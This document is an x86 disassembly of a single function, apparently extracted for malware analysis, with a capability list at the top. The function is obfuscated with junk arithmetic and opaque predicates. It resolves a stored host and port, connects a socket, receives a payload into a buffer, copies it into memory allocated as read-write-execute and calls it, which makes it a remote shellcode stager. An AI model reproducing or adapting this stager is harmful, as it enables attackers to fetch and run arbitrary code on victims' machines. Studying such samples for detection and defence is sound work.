Function at 0x10006d40
Capabilities:
Allocate or change rwx memory
Connect socket
Encode data using xor
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x74
mov eax, dword [0x1027a3d4]
xor eax, dword [0x1027a3d8]
imul eax, eax, 0x477e4d6b
xor eax, 0x8db2a7e9
add eax, 0x51a64b7f
cmp eax, 0x99ade283
je 0x10007bbc
mov eax, dword [0x1027a3dc]
mov ecx, dword [0x1027a3e0]
imul eax, ecx
shr eax, 1
mov ecx, 0x84197097
mul ecx
mov eax, edx
shr eax, 0x17
and eax, 0xc
mov dword [ebp - 0x14], eax
push eax
sub esp, 0x18c
mov eax, esp
push eax
mov edx, esp
mov dword [ebp - 0x1c], edx
push eax
mov ecx, esp
mov dword [ebp - 0x38], ecx
sub esp, 0x20
mov esi, esp
mov dword [ebp - 0x20], esi
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x2c], esi
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x28], esi
push eax
mov esi, esp
mov dword [ebp - 0x18], esi
push eax
mov esi, esp
mov dword [ebp - 0x34], esi
push eax
mov esi, esp
mov dword [ebp - 0x30], esi
mov dword [edx], 0
mov dword [ecx], 0
sub esp, 8
mov dword [esp], 0x202
mov dword [esp + 4], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, dword [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20
call fcn.101f0670
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
add esp, 0xc
mov dword [eax + 4], 2
mov dword [eax + 8], 1
mov dword [eax + 0xc], 6
lea eax, [0x10290a9c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100065c0
mov eax, dword [ebp - 0x2c]
add esp, 8
lea ecx, [0x10290a9c]
sub esp, 4
mov dword [esp], eax
call fcn.10007f10
mov ecx, dword [ebp - 0x2c]
call fcn.100061b0
mov ecx, dword [ebp - 0x28]
lea eax, [0x10290ab4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100065c0
mov eax, dword [ebp - 0x28]
add esp, 8
lea ecx, [0x10290ab4]
sub esp, 4
mov dword [esp], eax
call fcn.10007f10
mov ecx, dword [ebp - 0x28]
call fcn.100061b0
lea ecx, [0x10290ab4]
call fcn.10008340
mov dword [ebp - 0x24], eax
lea ecx, [0x10290a9c]
call fcn.10008340
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov esi, eax
mov eax, dword [ebp - 0x1c]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov ecx, dword [ebp - 0x18]
mov edx, eax
mov eax, dword [ebp - 0x14]
mov dword [ecx], edx
cmp dword [ecx], 0
setne cl
mov byte [ebp - 0xd], cl
cmp eax, 0xe6c12029
jae 0x10006d6f
mov al, byte [ebp - 0xd]
test al, 1
jne 0x10006f03
jmp 0x10006fbb
mov eax, dword [0x1027a3e4]
xor edx, edx
div dword [0x1027a3e8]
mov ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xa1c4b877
mov esi, 0xffffffff
xor esi, 0xa1c4b877
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0xa1c4b877
or ecx, 0xa1c4b877
imul ecx, edx
add ecx, eax
mov eax, ecx
or eax, 0x4625894b
xor eax, 0xffffffff
or ecx, 0x4625894b
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0x4340abde
xor edx, edx
div ecx
cmp eax, 0x600473f1
jae 0x10007cfd
mov eax, dword [0x1027a3ec]
add eax, dword [0x1027a3f0]
mov ecx, 0x6aab906a
xor edx, edx
div ecx
mov ecx, 0x654428f6
xor edx, edx
div ecx
or eax, 0x893c2acb
mov dword [ebp - 0x3c], eax
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
sub esp, 4
mov dword [esp], 0
call fcn.101fbc1e
mov eax, dword [ebp - 0x3c]
add esp, 4
cmp eax, 0x3e47a5e
je 0x10006f6e
mov eax, dword [0x1027a3f4]
sub eax, dword [0x1027a3f8]
mov ecx, 0xffffffff
xor ecx, 0x339ccf98
add eax, ecx
add eax, 1
mov ecx, 0xd4785db2
xor edx, edx
div ecx
and eax, 0x1b5ef96f
cmp eax, 0x5ddba0d8
je 0x10007d1c
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x1c]
mov ebx, dword [0x1027a3fc]
mov edi, dword [0x1027a400]
mov esi, edi
xor esi, 0xffffffff
mov eax, ebx
and eax, esi
mov esi, ebx
xor esi, edi
add ebx, esi
sub ebx, eax
sub ebx, 0x2dc61b0e
sub ebx, 0x211e2cf5
mov eax, ebx
xor eax, 0xffffffff
and eax, 0x82795464
mov edi, 0xffffffff
xor edi, 0x82795464
and ebx, edi
mov esi, 0xffffffff
xor esi, 0x63ff2583
and esi, 0x82795464
and edi, 0x63ff2583
or eax, ebx
or esi, edi
xor eax, esi
mov edx, dword [edx]
mov dword [ecx], edx
cmp eax, 0xbfb74797
jbe 0x10007d1c
jmp 0x10007066
mov eax, dword [ebp - 0x38]
cmp dword [eax], 0
je 0x100073b5
mov eax, dword [0x1027a404]
xor eax, dword [0x1027a408]
mov edx, eax
xor edx, 0xffffffff
and edx, 0x8182aa5e
mov esi, 0xffffffff
xor esi, 0x8182aa5e
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x8182aa5e
or eax, 0x8182aa5e
imul eax, edx
add eax, ecx
imul eax, eax, 0x31e324cf
mov ecx, 0xc159f7d3
xor edx, edx
div ecx
cmp eax, 0x3b8f6664
jae 0x10007d2b
mov eax, dword [0x1027a40c]
imul eax, dword [0x1027a410]
mov ecx, 0x53ceaf07
xor edx, edx
div ecx
mov edx, dword [ebp - 0x38]
mov ecx, eax
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov esi, 0x5d58ad8
or esi, 0x5d58ad8
xor esi, 0xffffffff
or eax, esi
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x5d58ad8
and ecx, esi
or eax, ecx
xor eax, 0xffffffff
sub eax, 0xb5302553
mov dword [ebp - 0x44], eax
mov eax, dword [edx]
mov eax, dword [eax + 0xc]
mov ecx, dword [edx]
mov ecx, dword [ecx + 8]
mov edx, dword [edx]
mov edx, dword [edx + 4]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, eax
mov eax, dword [ebp - 0x44]
mov dword [0x102909cc], ecx
cmp dword [0x102909cc], 0xffffffff
sete cl
mov byte [ebp - 0x3d], cl
cmp eax, 0xd67e3717
je 0x100070c6
mov al, byte [ebp - 0x3d]
test al, 1
jne 0x1000716d
jmp 0x1000723b
mov eax, dword [0x1027a414]
xor edx, edx
div dword [0x1027a418]
mov esi, eax
and esi, 0xaaffd80d
xor eax, 0xaaffd80d
or esi, eax
and esi, 0xc20393ee
mov eax, esi
xor eax, 0xffffffff
and eax, 0x757cc20f
mov edx, 0xffffffff
xor edx, 0x757cc20f
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x8f074d74
and ecx, 0x757cc20f
and edx, 0x8f074d74
or eax, esi
or ecx, edx
xor eax, ecx
cmp eax, 0xc602ec48
ja 0x10007d5b
mov ecx, dword [0x1027a41c]
mov edx, dword [0x1027a420]
mov eax, ecx
and eax, edx
shl eax, 1
add ecx, edx
sub ecx, eax
mov eax, ecx
and eax, 0xe0e84152
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xe0e84152
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xf3534dd6
xor eax, 0x7402c206
mov dword [ebp - 0x48], eax
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
sub esp, 4
mov dword [esp], 0
call fcn.101fbc1e
mov eax, dword [ebp - 0x48]
add esp, 4
cmp eax, 0x55908684
jb 0x10007d5b
mov ecx, dword [ebp - 0x38]
mov eax, dword [ecx]
mov eax, dword [eax + 0x10]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x18]
mov edx, dword [0x102909cc]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call dword [sym.imp.WS2_32.dll_connect]
mov ecx, eax
mov eax, dword [ebp - 0x18]
mov dword [eax], ecx
cmp dword [eax], 0xffffffff
jne 0x10007292
mov eax, dword [0x102909cc]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0x102909cc], 0xffffffff
jmp 0x100072ec
mov eax, dword [0x1027a424]
imul eax, dword [0x1027a428]
sub eax, 0xc2f869b3
add eax, 0x52de350a
and eax, 0x1679348
cmp eax, 0xe553d810
je 0x10007d7a
mov eax, dword [0x1027a42c]
xor eax, dword [0x1027a430]
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x408fffc5
add eax, ecx
and eax, 0xd3776028
sub eax, 0x759538a6
cmp eax, 0x2ed133f
jb 0x10007d7a
jmp 0x100073b5
mov ecx, dword [0x1027a434]
mov edx, dword [0x1027a438]
mov eax, ecx
and eax, edx
xor ecx, edx
or eax, ecx
or eax, 0x1e04cee2
mov ecx, 0x92f9eff9
xor edx, edx
div ecx
and eax, 0xf0369f77
cmp eax, 0x97c124b4
je 0x10007d7f
mov ecx, dword [ebp - 0x38]
mov edx, dword [0x1027a43c]
mov esi, dword [0x1027a440]
mov eax, edx
and eax, esi
or edx, esi
add eax, edx
mov esi, eax
xor esi, 0xffffffff
and esi, 0xf22eae7c
mov edi, 0xffffffff
xor edi, 0xf22eae7c
mov edx, eax
and edx, edi
imul edx, esi
mov esi, eax
and esi, 0xf22eae7c
or eax, 0xf22eae7c
imul eax, esi
add eax, edx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x9d4a6feb
mov esi, 0xffffffff
xor esi, 0x9d4a6feb
and eax, esi
or edx, eax
mov eax, edx
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xe0fd5855
and eax, esi
or edx, 0xe0fd5855
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
mov edx, dword [ecx]
mov edx, dword [edx + 0x1c]
mov dword [ecx], edx
cmp eax, 0xb7ffb99
je 0x1000731e
jmp 0x10007066
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp dword [0x102909cc], 0xffffffff
jne 0x100074c6
mov ecx, dword [0x1027a444]
mov edx, dword [0x1027a448]
mov eax, ecx
and eax, edx
xor ecx, edx
or eax, ecx
mov esi, eax
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x73dc0a6
or esi, ecx
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x73dc0a6
or eax, ecx
and esi, eax
xor esi, 0xffffffff
xor esi, 0xe02e56c8
mov eax, esi
xor eax, 0xffffffff
and eax, 0x64f66d29
mov edx, 0xffffffff
xor edx, 0x64f66d29
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x1860fb93
and ecx, 0x64f66d29
and edx, 0x1860fb93
or eax, esi
or ecx, edx
xor eax, ecx
cmp eax, 0x4d7f0da7
jbe 0x10007d8e
mov eax, dword [0x1027a44c]
xor eax, dword [0x1027a450]
and eax, 0x3990cc90
mov edx, eax
xor edx, 0xffffffff
and edx, 0x2b803f6b
mov esi, 0xffffffff
xor esi, 0x2b803f6b
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x2b803f6b
or eax, 0x2b803f6b
imul eax, edx
add eax, ecx
mov ecx, 0xfeba1b02
xor edx, edx
div ecx
mov dword [ebp - 0x4c], eax
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
sub esp, 4
mov dword [esp], 0
call fcn.101fbc1e
mov eax, dword [ebp - 0x4c]
add esp, 4
cmp eax, 0x20fbfbaf
ja 0x10007d8e
mov eax, dword [ebp - 0x34]
mov dword [eax], 0
mov ecx, dword [0x1027a454]
add ecx, dword [0x1027a458]
xor eax, eax
sub eax, 0xd1e61c8e
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x2c4e4327
mov edx, 0xffffffff
xor edx, 0x2c4e4327
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
sub eax, 0xb130020a
add eax, 0x718cbe2c
add eax, 0xb130020a
cmp eax, 0x28e19540
jb 0x10007dad
mov eax, dword [0x1027a45c]
xor eax, dword [0x1027a460]
and eax, 0x1587094f
or eax, 0xa7d2764a
mov ecx, 0x670d9e91
xor edx, edx
div ecx
mov dword [ebp - 0x54], eax
mov eax, dword [section..data]
sub eax, dword [0x102909c4]
mov ecx, dword [0x102909c8]
add ecx, dword [0x102909c4]
mov edx, dword [0x102909cc]
xor esi, esi
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_recv]
mov ecx, dword [ebp - 0x34]
mov edx, eax
mov eax, dword [ebp - 0x54]
mov dword [ecx], edx
cmp dword [ecx], 0
setg cl
mov byte [ebp - 0x4d], cl
cmp eax, 0x22ac6d48
jae 0x10007528
mov al, byte [ebp - 0x4d]
test al, 1
jne 0x100075b2
jmp 0x100077b0
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
add eax, dword [0x102909c4]
mov dword [0x102909c4], eax
mov eax, dword [0x102909c4]
cmp eax, dword [section..data]
jne 0x100076f1
mov ecx, dword [0x1027a464]
or ecx, dword [0x1027a468]
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x4f38c339
mov esi, 0xffffffff
xor esi, 0x4f38c339
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x4f38c339
or ecx, 0x4f38c339
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0x10c34f98
xor eax, 0xffffffff
or ecx, 0x10c34f98
and ecx, eax
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xddbd1393
or edx, 0xddbd1393
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xddbd1393
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
cmp eax, 0x1fcbdf9c
je 0x10007e00
mov eax, dword [0x1027a46c]
mov edx, dword [0x1027a470]
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, edx
add eax, ecx
imul eax, eax, 0xc064ca18
xor eax, 0x5e187652
mov ecx, 0xcf52ba87
xor edx, edx
div ecx
mov dword [ebp - 0x58], eax
mov eax, dword [section..data]
mov esi, 0xffffffff
xor esi, 2
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 2
or eax, 2
imul eax, edx
add eax, ecx
mov dword [section..data], eax
mov eax, dword [section..data]
mov ecx, dword [0x102909c8]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10201d00
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x58]
mov dword [0x102909c8], ecx
cmp eax, 0xeea2d309
ja 0x1000765e
jmp 0x100076f1
mov eax, dword [0x1027a474]
xor edx, edx
div dword [0x1027a478]
xor eax, 0x42d6699e
and eax, 0xb0fddb39
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xaa371f53
mov edx, 0xffffffff
xor edx, 0xaa371f53
and eax, edx
sub eax, ecx
cmp eax, 0x99b0773e
ja 0x10007e54
mov eax, dword [0x1027a47c]
mov edx, dword [0x1027a480]
mov ecx, eax
xor ecx, 0xffffffff
mov esi, eax
xor esi, 0xffffffff
or ecx, esi
and ecx, edx
xor ecx, 0xffffffff
and edx, edx
xor edx, 0xffffffff
and eax, edx
xor eax, 0xffffffff
and ecx, eax
xor ecx, 0xffffffff
xor eax, eax
sub eax, 0xd32783cd
sub ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xcadb4410
mov esi, 0xffffffff
xor esi, 0xcadb4410
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0xcadb4410
or ecx, 0xcadb4410
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0x4fdac6ff
or ecx, 0x4fdac6ff
add eax, ecx
cmp eax, 0xb440b2de
jb 0x10007e54
jmp 0x100079e8
mov eax, dword [0x1027a484]
or eax, dword [0x1027a488]
or eax, 0x82772d03
imul eax, eax, 0xa1d0a415
add eax, 0xe177b6a8
cmp eax, 0x6d70ad10
jbe 0x10007e59
mov ecx, dword [ebp - 0x34]
mov eax, dword [str._Q_67]
mov esi, dword [0x1027a490]
xor esi, 0xffffffff
mov edx, eax
xor edx, esi
and edx, eax
mov eax, edx
xor eax, 0xffffffff
mov esi, edx
xor esi, 0xffffffff
or eax, esi
and eax, 0xf4c88f80
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xf4c88f80
mov edi, 0xffffffff
xor edi, 0xf4c88f80
or esi, edi
xor edx, 0xffffffff
xor esi, 0xffffffff
or edx, esi
and eax, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x7442512c
xor esi, esi
sub esi, 1
sub edx, esi
sub eax, edx
sub eax, 0x1ff3b8af
sub eax, 0xd2b18fd
add eax, 0x1ff3b8af
cmp dword [ecx], 0
sete cl
mov byte [ebp - 0x59], cl
cmp eax, 0x3e5c2014
jae 0x100077d6
mov al, byte [ebp - 0x59]
test al, 1
jne 0x1000786d
jmp 0x10007907
mov eax, dword [0x1027a494]
mov esi, dword [0x1027a498]
mov edx, esi
xor edx, 0xffffffff
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, esi
add eax, edx
sub eax, ecx
imul eax, eax, 0x1723327e
imul eax, eax, 0xa3d6f240
and eax, 0x9fb5e7fa
cmp eax, 0x7f98dc2
je 0x10007e5e
mov eax, dword [0x1027a49c]
xor edx, edx
div dword [0x1027a4a0]
mov ecx, eax
sub ecx, 0xd2394c24
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
and eax, 0x6438ea8f
xor eax, 0xffffffff
mov edx, 0x6438ea8f
and edx, 0x6438ea8f
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x32a6c76b
add ecx, eax
xor eax, eax
sub eax, ecx
cmp eax, 0xbc9f5251
jae 0x10007e5e
jmp 0x10007a94
mov eax, dword [0x1027a4a4]
xor edx, edx
div dword [0x1027a4a8]
or eax, 0x31d4c409
mov ecx, 0xb5f74bd9
xor edx, edx
div ecx
imul eax, eax, 0x90b69c7b
cmp eax, 0xffb847ae
ja 0x10007e63
mov eax, dword [0x1027a4ac]
xor edx, edx
div dword [0x1027a4b0]
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x64], eax
mov esi, 0xffffffff
xor esi, 0xd0af700c
mov edx, 0xffffffff
xor edx, 0x48cb781c
and eax, 0x48cb781c
and ecx, edx
mov edi, esi
and edi, 0x48cb781c
mov ebx, edx
and ebx, 0xd0af700c
or eax, ecx
mov ecx, dword [ebp - 0x64]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x48cb781c
and ecx, edx
or eax, ecx
xor eax, 0x56ac7d5c
add eax, 0x4df242ed
mov dword [ebp - 0x60], eax
mov eax, dword [0x102909cc]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [0x102909c8]
sub esp, 4
mov dword [esp], eax
call fcn.10200d40
add esp, 4
xor eax, eax
sub esp, 4
mov dword [esp], 0
call fcn.101fbc1e
mov eax, dword [ebp - 0x60]
add esp, 4
cmp eax, 0x7410545f
je 0x10007e63
mov ecx, dword [0x1027a4b4]
mov edx, dword [0x1027a4b8]
mov eax, ecx
or eax, edx
xor eax, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0x8eb0424c
add eax, 0x919da82e
imul eax, eax, 0x82b7d6cb
cmp eax, 0xc6e8f36f
je 0x10007ea6
mov eax, dword [0x1027a4bc]
mov edx, dword [0x1027a4c0]
mov ecx, edx
and ecx, eax
xor ecx, 0xffffffff
add eax, edx
add eax, 1
add eax, ecx
xor eax, 0x380c92f0
mov ecx, eax
and ecx, 0x23701303
shl ecx, 1
xor eax, 0x23701303
add eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x198c363a
mov ecx, 0xffffffff
xor ecx, 0xf6ddf51a
or eax, edx
or ecx, 0xf6ddf51a
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0x9a6cb360
je 0x10007a23
jmp 0x10007a88
mov eax, dword [ebp - 0x34]
cmp dword [eax], 0
jg 0x100074cf
mov eax, dword [0x1027a4c4]
and eax, dword [0x1027a4c8]
mov ecx, eax
and ecx, 0x83be7073
xor ecx, 0xffffffff
add eax, 0x83be7073
add eax, 1
add eax, ecx
xor ecx, ecx
sub ecx, 0x6b29e63c
add eax, ecx
add eax, 0x22999fa4
cmp eax, 0x585f6d2f
ja 0x10007eab
mov eax, dword [0x1027a4cc]
xor edx, edx
div dword [0x1027a4d0]
mov edx, eax
xor edx, 0xffffffff
and edx, 0xfed0e7f5
mov esi, 0xffffffff
xor esi, 0xfed0e7f5
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xfed0e7f5
or eax, 0xfed0e7f5
imul eax, edx
add eax, ecx
mov ecx, 0x612ad35c
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xda97c4c6
or edx, 0xda97c4c6
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xda97c4c6
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x68], eax
mov eax, dword [0x102909c4]
xor ecx, ecx
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x30]
mov dword [eax], ecx
mov edx, dword [eax]
mov ecx, dword [0x102909c8]
mov eax, dword [0x102909c4]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.101f00f0
mov eax, dword [ebp - 0x30]
add esp, 0xc
call dword [eax]
mov eax, dword [ebp - 0x68]
cmp eax, 0x3b340a36
jb 0x10007eab
xor eax, eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
sub esp, 0x18c
mov eax, esp
push eax
mov edx, esp
mov dword [ebp - 0x70], edx
push eax
mov ecx, esp
sub esp, 0x20
mov esi, esp
mov dword [ebp - 0x74], esi
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x80], esi
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x7c], esi
push eax
mov esi, esp
mov dword [ebp - 0x6c], esi
mov dword [edx], 0
mov dword [ecx], 0
sub esp, 8
mov dword [esp], 0x202
mov dword [esp + 4], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, dword [ebp - 0x74]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20
call fcn.101f0670
mov ecx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x74]
add esp, 0xc
mov dword [eax + 4], 2
mov dword [eax + 8], 1
mov dword [eax + 0xc], 6
lea eax, [0x10290a9c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100065c0
mov eax, dword [ebp - 0x80]
add esp, 8
lea ecx, [0x10290a9c]
sub esp, 4
mov dword [esp], eax
call fcn.10007f10
mov ecx, dword [ebp - 0x80]
call fcn.100061b0
mov ecx, dword [ebp - 0x7c]
lea eax, [0x10290ab4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100065c0
mov eax, dword [ebp - 0x7c]
add esp, 8
lea ecx, [0x10290ab4]
sub esp, 4
mov dword [esp], eax
call fcn.10007f10
mov ecx, dword [ebp - 0x7c]
call fcn.100061b0
lea ecx, [0x10290ab4]
call fcn.10008340
mov dword [ebp - 0x78], eax
lea ecx, [0x10290a9c]
call fcn.10008340
mov edx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov esi, eax
mov eax, dword [ebp - 0x70]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov ecx, eax
mov eax, dword [ebp - 0x6c]
mov dword [eax], ecx
jmp 0x10006d6f
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
sub esp, 4
mov dword [esp], 0
call fcn.101fbc1e
add esp, 4
jmp 0x10006f6e
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x10006fef
mov edx, dword [ebp - 0x38]
mov eax, dword [edx]
mov eax, dword [eax + 0xc]
mov ecx, dword [edx]
mov ecx, dword [ecx + 8]
mov edx, dword [edx]
mov edx, dword [edx + 4]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x102909cc], eax
jmp 0x100070c6
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
sub esp, 4
mov dword [esp], 0
call fcn.101fbc1e
add esp, 4
jmp 0x100071ce
jmp 0x100072b8
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x1c]
mov dword [eax], ecx
jmp 0x1000731e
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
sub esp, 4
mov dword [esp], 0
call fcn.101fbc1e
add esp, 4
jmp 0x10007453
mov eax, dword [section..data]
mov ecx, dword [0x102909c4]
add eax, 0xe43a9d36
sub eax, ecx
sub eax, 0xe43a9d36
mov ecx, dword [0x102909c8]
add ecx, dword [0x102909c4]
mov edx, dword [0x102909cc]
xor esi, esi
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_recv]
mov ecx, eax
mov eax, dword [ebp - 0x34]
mov dword [eax], ecx
jmp 0x10007528
mov eax, dword [section..data]
mov esi, 0xffffffff
xor esi, 2
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 2
or eax, 2
imul eax, edx
add eax, ecx
mov dword [section..data], eax
mov eax, dword [section..data]
mov ecx, dword [0x102909c8]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10201d00
add esp, 8
mov dword [0x102909c8], eax
jmp 0x1000765e
jmp 0x1000772d
jmp 0x100077d6
jmp 0x100078a5
mov eax, dword [0x102909cc]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [0x102909c8]
sub esp, 4
mov dword [esp], eax
call fcn.10200d40
add esp, 4
xor eax, eax
sub esp, 4
mov dword [esp], 0
call fcn.101fbc1e
add esp, 4
jmp 0x10007933
jmp 0x10007a23
mov eax, dword [0x102909c4]
xor ecx, ecx
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x30]
mov dword [eax], ecx
mov edx, dword [eax]
mov ecx, dword [0x102909c8]
mov eax, dword [0x102909c4]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.101f00f0
mov eax, dword [ebp - 0x30]
add esp, 0xc
call dword [eax]
jmp 0x10007ace